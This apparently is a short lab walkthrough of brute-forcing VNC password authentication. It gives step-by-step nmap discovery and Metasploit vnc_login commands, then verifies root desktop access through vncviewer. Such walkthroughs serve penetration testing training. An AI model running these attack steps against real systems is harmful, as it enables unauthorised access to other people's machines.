VNC Brute-Force

VNC provides remote graphical desktop access, and its authentication relies solely on a password — no username is required. This makes it a straightforward target for brute-force attacks, especially since Metasploit's vnc_login module includes a built-in password wordlist by default. A successful login grants full graphical access to the target's desktop, rather than just a command-line shell.

Discovery

Command
nmap -A -p- -T5 [target IP]
Description

Scans all ports with service versions; VNC (5900) is identified as open.

Attack

Command
msfconsole
Description

Launches the Metasploit Framework console.

Command
search vnc
Description

Searches for modules related to VNC.

Command
use auxiliary/scanner/vnc/vnc_login
Description

Selects the VNC authentication scanner module.

Command
show options
Description

Displays the required parameters — unlike SSH, VNC authentication uses only a password, with no username field.

Command
set rhosts [target IP]
Description

Sets the target's IP address.

Command
exploit
Description

Launches the attack. If no PASS_FILE is specified, the module automatically uses Metasploit's built-in VNC password wordlist.

Verification

Command
vncviewer [target IP]
Description

Run in a separate terminal tab after the password is found. Connects to the target using the discovered password, opening a full graphical desktop session.

Command
whoami
Description

Confirms which user account was accessed (run from a terminal within the VNC desktop session) — in this case, root.

Command
uname -a
Description

Displays the target system's kernel information.

Command
ls
Description

Confirms file access within the desktop session.

Tool Used

This attack was carried out using Metasploit Framework — see the full command reference here.